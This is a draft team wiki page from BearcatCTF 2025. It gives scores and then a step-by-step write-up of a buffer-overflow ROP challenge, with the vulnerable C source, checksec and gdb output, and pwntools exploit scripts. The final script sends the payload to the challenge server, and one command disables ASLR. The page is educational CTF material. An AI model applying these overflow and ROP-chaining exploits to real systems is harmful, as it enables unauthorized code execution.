This page is a draft. You can help by editing it!
February 1st and 2nd, 2025
I'd love to write up my solutions if I have time.
In the mean time, check out these writeups:
# | Team | Points |
---|---|---|
1 | A-Team | 9800 |
2 | ithertzwhenip | 8200 |
3 | 0xFl4gF1nd3rs | 6250 |
4 | Control Alt Elite | 5900 |
5 | GREG!!! | 5150 |
6 | When I was NKU_TEAM2 years old | 5000 |
7 | Weaponized Autism | 4450 |
We were teams 6 and 7.
User Name | Score |
---|---|
munoza2 (Captain) | 950 |
Izaac_G0mez | 200 |
Zack Sargent | 3300 |
harrisj46 | 0 |
User Name | Score |
---|---|
KobiSteve07 | 950 |
fenix (Captain) | 2700 |
HirschP2 | 1350 |
wall | 0 |
Prompt:
You've almost got a good grasp on this. Time to think past your function variables.
Make Mudge proudnc chal.bearcatctf.io 39440
Files:
Writeup:
In this case, "Mudge" refers to Peiter Zatko. I'm not sure I've made him proud, but I'll explain my approach nonetheless.
This is written as a "How-To" writeup. Note that it took me multiple tries to come up with this approach.
We can start by downloading the binary, and running checksec
on it:
$ checksec calling_convention
[*] '~/Code/bcctf/challenge/calling_convention'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Wondering what this means?
- Arch - Your computer architecture
- RELRO - Relocation Read-Only (RELRO)
- Stack - Stack Canaries
- NX - No eXecute Bit
- PIE - Position Independent Executable
Notably, this binary does not have PIE enabled, so our rop gadges will operate on fixed stack locations.
Otherwise, we'd want to disable ASLR:
# Disable ASLR (not necessary in this case)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
From here, I made the mistake of taking the code given, and compiling it myself, in a way that changed the approach.
I compiled the code below:
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
void store_a_charstar();
void menu();
void vuln();
void store_floats();
int key1 = 0;
int key2 = 0;
int key3 = 0;
int floatcount = 0;
void setup() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
}
int main(int argc, char **argv) {
setup();
menu();
vuln();
}
void win() {
FILE *f;
char c;
f = fopen("flag.txt", "rt");
if (key1 != 27000 && key2 != 0xbadf00d && key3 != 0x1337){
fclose(f);
exit(1);
}
while ( (c = fgetc(f)) != EOF ) {
printf("%c", c);
fflush(stdout);
}
fclose(f);
}
void set_key1() {
if (key3 != 0)
key1 = 27000;
}
void ahhhhhhhh() {
if (key1 == 0)
return;
key3 = 0;
key2 = key2 + 0xbad0000;
}
void food() {
key2 = key2 + 0xf00d;
}
void number3() {
key3 = 0x1337;
}
void menu() {
puts("Try out this new calling convention!");
puts("Instead of calling functions directly, you just return to them instead!");
printf(" > ");
}
void vuln() {
fflush(stdout);
char s[8];
fgets(s, 0x200, stdin);
}
And got this binary, due to the code being compiled via a docker container:
# checksec example
[*] '/app/example'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
I used a script I wrote before to see the registers that I could overwrite, given a variety of offsets:
./create_table.py
[+] Starting local process './example-crash': pid 12
[*] Process './example-crash' stopped with exit code -11 (SIGSEGV) (pid 12)
[+] Parsing corefile...: Done
[*] '/tmp/core.example-crash.12'
Arch: i386-32-little
EIP: 0x61616166
ESP: 0xffffdcb0
Exe: '/app/example-crash' (0x56555000)
Fault: 0x61616166
+----------+------------+---------------+-------------+
| register | hex value | decimal value | cyclic_find |
+----------+------------+---------------+-------------+
| orig_eax | 0xffffffff | 4294967295 | -1 |
| ecx | 0xffffdd18 | 4294958360 | -1 |
| esp | 0xffffdcb0 | 4294958256 | -1 |
| eax | 0xffffdc98 | 4294958232 | -1 |
| edi | 0xf7ffcb80 | 4160736128 | -1 |
| edx | 0xf7fb09c4 | 4160424388 | -1 |
| eip | 0x61616166 | 1633771878 | 20 |
| ebp | 0x61616165 | 1633771877 | 16 |
| ebx | 0x61616164 | 1633771876 | 12 |
| esi | 0x56558ee0 | 1448447712 | -1 |
| eflags | 0x10286 | 66182 | -1 |
| xgs | 0x63 | 99 | -1 |
| xds | 0x2b | 43 | -1 |
| xes | 0x2b | 43 | -1 |
| xss | 0x2b | 43 | -1 |
| xcs | 0x23 | 35 | -1 |
| xfs | 0x0 | 0 | -1 |
+----------+------------+---------------+-------------+
At this point, I believed that I could exploit eip
at an offset of 20.
This didn't work, but it gave me the confidence that I knew what order to call the functions in.
#!/usr/bin/env python3
from pwn import *
realpath = "/app/example"
elf = ELF(realpath)
# set the base address, to combat PIE
elf.address = elf.libs[realpath]
# create a ropchain
rop = ROP(elf)
offset = 20
# Construct the ROP chain in the correct order
rop.number3() # Set key3 = 0x1337
rop.set_key1() # Set key1 = 27000 (key3 is now non-zero)
rop.ahhhhhhhh() # Set key3 = 0, and modify key2
rop.food() # Add 0xf00d to key2
rop.win() # Call win to read the flag
# pack ropchain at offset
payload = flat({
offset: rop.chain()
})
print("ropchain:")
print(rop.dump())
# start the process
with elf.process() as p:
p.sendline(payload)
# print the output
print(p.recvrepeat(5).decode('utf-8').strip())
And I ran it to get the flag!
# ./attack.py
[*] '/app/example'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
[*] Loading gadgets for '/app/example'
ropchain:
0x0000: 0x565563da number3()
0x0004: 0x5655635c set_key1()
0x0008: 0x56556380 ahhhhhhhh()
0x000c: 0x565563b8 food()
0x0010: 0x565562a0 win()
[+] Starting local process '/app/example': pid 26
Try out this new calling convention!
Instead of calling functions directly, you just return to them instead!
> flag{example_flag}
[*] Stopped process '/app/example' (pid 26)
However, this was getting the flag from a copy of the binary, with a different architecture!
When I tried to run this on the real binary, it didn't work!
When we create our table on the real binary, this reveals the problem:
$ python3 create_table.py
[+] Starting local process './example-crash': pid 298135
[*] Process './example-crash' stopped with exit code -11 (SIGSEGV) (pid 298135)
[+] Parsing corefile...: Done
[*] '/tmp/core.example-crash.298135'
Arch: amd64-64-little
RIP: 0x40148b
RSP: 0x7fffffffb668
Exe: '/home/sarge/Code/nkcyber/bcctf/challenge/ropchain-lab/example-crash' (0x400000)
Fault: 0x6161616661616165
+----------+--------------------+----------------------+-------------+
| register | hex value | decimal value | cyclic_find |
+----------+--------------------+----------------------+-------------+
| orig_rax | 0xffffffffffffffff | 18446744073709551615 | -1 |
| rbp | 0x6161616461616163 | 7016996778178339171 | 8 |
| rbx | 0x7fffffffb7a8 | 140737488336808 | -1 |
| rsp | 0x7fffffffb668 | 140737488336488 | -1 |
| rax | 0x7fffffffb658 | 140737488336472 | -1 |
| rcx | 0x7fffffffb658 | 140737488336472 | -1 |
| r14 | 0x7ffff7ffd000 | 140737354125312 | -1 |
| rdi | 0x7ffff7f99720 | 140737353717536 | -1 |
| rsi | 0x7ffff7f97963 | 140737353709923 | -1 |
| fs_base | 0x7ffff7dad740 | 140737351702336 | -1 |
| rdx | 0xfbad208b | 4222427275 | -1 |
| r15 | 0x4032b0 | 4207280 | -1 |
| rip | 0x40148b | 4199563 | -1 |
| eflags | 0x10202 | 66050 | -1 |
| r11 | 0x246 | 582 | -1 |
| cs | 0x33 | 51 | -1 |
| ss | 0x2b | 43 | -1 |
| r12 | 0x1 | 1 | -1 |
| r8 | 0x1 | 1 | -1 |
| ds | 0x0 | 0 | -1 |
| es | 0x0 | 0 | -1 |
| fs | 0x0 | 0 | -1 |
| gs | 0x0 | 0 | -1 |
| gs_base | 0x0 | 0 | -1 |
| r10 | 0x0 | 0 | -1 |
| r13 | 0x0 | 0 | -1 |
| r9 | 0x0 | 0 | -1 |
+----------+--------------------+----------------------+-------------+
Oh no! We actually can't overwite ebp
in the real binary!
We have to overwrite rbp
, which changes our approach.
What's the difference between
ebp
andrbp
?both represent a "base pointer", a register that points to the base of a stack frame during function calls.
ebp
is the 32-bit version in x86
rbp
is the 64-bit version in x86-64
However, at this point, I knew that I had to emulate:
# Construct the ROP chain in the correct order
rop.number3() # Set key3 = 0x1337
rop.set_key1() # Set key1 = 27000 (key3 is now non-zero)
rop.ahhhhhhhh() # Set key3 = 0, and modify key2
rop.food() # Add 0xf00d to key2
rop.win() # Call win to read the flag
with raw pointers.
In this case, rather than depending on pwntools' ROP library for everything, I realized it was better if we craft our ropchain directly.
From here, I used gdb
to get more information about our binary. I gathered the addresses of the functions I wanted to call.
$ gdb ./calling_convention -q
Reading symbols from ./calling_convention...
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.fedoraproject.org/>
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit.
(No debugging symbols found in ./calling_convention)
(gdb) b main
Breakpoint 1 at 0x4012c3
(gdb) r
Starting program: /home/sarge/Code/nkcyber/bcctf/challenge/calling_convention
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Breakpoint 1, 0x00000000004012c3 in main ()
(gdb) p number3
$1 = {<text variable, no debug info>} 0x401404 <number3>
(gdb) p set_key1
$2 = {<text variable, no debug info>} 0x401397 <set_key1>
(gdb) p ahhhhhhhh
$3 = {<text variable, no debug info>} 0x4013b6 <ahhhhhhhh>
(gdb) p food
$4 = {<text variable, no debug info>} 0x4013e8 <food>
(gdb) p win
$5 = {<text variable, no debug info>} 0x4012f3 <win>
(gdb) quit
A debugging session is active.
Inferior 1 [process 299292] will be killed.
Quit anyway? (y or n) y
From here, I added all of the addresses into a payload using pwntools:
#!/usr/bin/python3
# rop.number3() # Set key3 = 0x1337
# $1 = {<text variable, no debug info>} 0x401404 <number3>
number3 = 0x401404
# rop.set_key1() # Set key1 = 27000 (key3 is now non-zero)
# $2 = {<text variable, no debug info>} 0x401397 <set_key1>
set_key1 = 0x401397
# rop.ahhhhhhhh() # Set key3 = 0, and modify key2
# $3 = {<text variable, no debug info>} 0x4013b6 <ahhhhhhhh>
ahhhhhhhh = 0x4013b6
# rop.food() # Add 0xf00d to key2
# $4 = {<text variable, no debug info>} 0x4013e8 <food>
food = 0x4013e8
# rop.win() # Call win to read the flag
# $5 = {<text variable, no debug info>} 0x4012f3 <win>
win = 0x4012f3
from pwn import *
offset = 8
# Construct the ROP chain
payload = b"A" * offset # Padding to reach rbp
payload += p64(set_key1) # Set key1 = 27000
payload += p64(number3) # Set key3 = 0x1337
payload += p64(ahhhhhhhh) # Set key3 = 0, modify key2
payload += p64(food) # Add 0xf00d to key2
payload += p64(win) # Call win to read the flag
# with process("./calling_convention") as p:
with remote("chal.bearcatctf.io", 39440) as p:
p.sendline(payload)
p.interactive()
This was the script that gave me the flag.
You can swap out line 36 with line 35 to test this with your local binary.
The key takeaway here is that you can chain together the return values of functions by overwriting the call stack.